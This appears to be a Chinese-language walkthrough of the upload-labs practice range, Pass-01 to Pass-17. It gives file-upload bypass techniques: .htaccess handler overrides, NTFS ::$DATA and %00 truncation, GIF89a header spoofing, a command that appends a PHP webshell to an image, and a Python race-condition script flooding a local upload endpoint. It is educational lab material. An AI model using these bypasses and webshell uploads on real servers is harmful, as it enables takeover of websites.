之前的一些关于 upload-labs 的练习

Pass-01

修改后缀名

Pass-02

Content-type 改为 image/gif

Pass-03

  1. 改后缀名 php2, php3, php4, php5, phps, pht, phtm, phtml

  2. 重写文件解析规则绕过。上传先上传一个名为.htaccess文件,内容如下:

1
2
3
<FilesMatch "03.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传一个03.jpg

执行上传的03.jpg脚本

Pass-04

查看源代码 发现黑名单几乎过滤了全部的违法后缀名 ,但少过滤了 .htaccess 后缀

  1. 上传一个.htaccess 文件 重写 服务器的文件解析

创建一个 .htaccess 文件

内容可以是 : AddType application/x-httpd-php .jpg,可将jpg文件解析为php文件.

或者是 : SetHandler application/x-httpd-php,可将其他所有文件解析为php文件.

  1. 利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
1
2
3
双引号"     =   点号.
大于符号> = 问号?
小于符号< = 星号*

先把4.php文件后缀改为4.jpg 然后用bs 将文件名改为 4.php:.jpg,上传成功后会生成4.php的空文件,大小为0KB.

然后再在bs 中把文件名 改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。

Pass-05

查看源代码发现 黑名单里加上了 .htaccess 后缀 ,但是没有 进行大小写过滤

与 Pass-04 一样

Pass-06

在 pass-05 的基础上加上了大小写过滤, 但发现去掉了收尾去空

查了一下:trim()函数 : 移除字符串两侧的空白字符或其他预定义字符.

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点**

用 bs 在1.php 后缀名后面加一个空格成功绕过

Pass-07

没有删除文件后缀名的点

Pass-08

查看源代码后发现 黑名单过滤 没有去字符串 ::$DATA

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA
上传.php::$DATA绕过。(仅限windows) 上传后 自动保存为 1.php

Pass-09

原理同Pass-06,上传文件名后加上点+空格+点,改为09.php. .

Pass-10

双写文件名绕过,文件名改成10.pphphp

Pass-11

上传路径名%00截断绕过。上传的文件名写成11.jpg, save_path改成../upload/11.php%00,最后保存下来的文件就是11.php

但这东西有点过气了,因为需要两个条件

  1. php版本小于5.3.4
  2. php的magic_quotes_gpc为OFF状态

Pass-12

php.ini设置 magic_quotes_gpc = Off

POST 不能解析 url 编码,所以可以用 0x00

原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/12.php【二进制00】形式

Pass-13

代码通过读取上传文件的前两字节判断是否为图片

1
$bin = fread($file, 2); //只读2字节    fclose($file);    $strInfo = @unpack("C2chars", $bin); 

绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

使用命令copy normal.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。JPG一句话shell参考示例

png图片处理方式同上。PNG一句话shell参考示例

Pass-14

getimagesize通过检查图像文件的大小并返回图像的尺寸以及文件类型

1
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");

image_type_to_extension根据指定的图像类型返回对应的后缀名

原理和示例同Pass-13,添加GIF图片的文件头绕过检查

Pass-15

1
$image_type = exif_imagetype($filename);

1564977362026

原理同Pass-13,添加GIF图片的文件头绕过检查

Pass-16

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例

打开被渲染后的图片,Webshell代码仍然存在。

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

Pass-17

条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: localhost:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8089/upload-labs/Pass-17/index.php
Content-Type: multipart/form-data; boundary=---------------------------287032381131322
Content-Length: 334
Connection: keep-alive
Upgrade-Insecure-Requests: 1

-----------------------------287032381131322
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>
-----------------------------287032381131322
Content-Disposition: form-data; name="submit"

上传
-----------------------------287032381131322--
"""
code, head, html, redirect, log = hh.http('http://localhost:8089/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()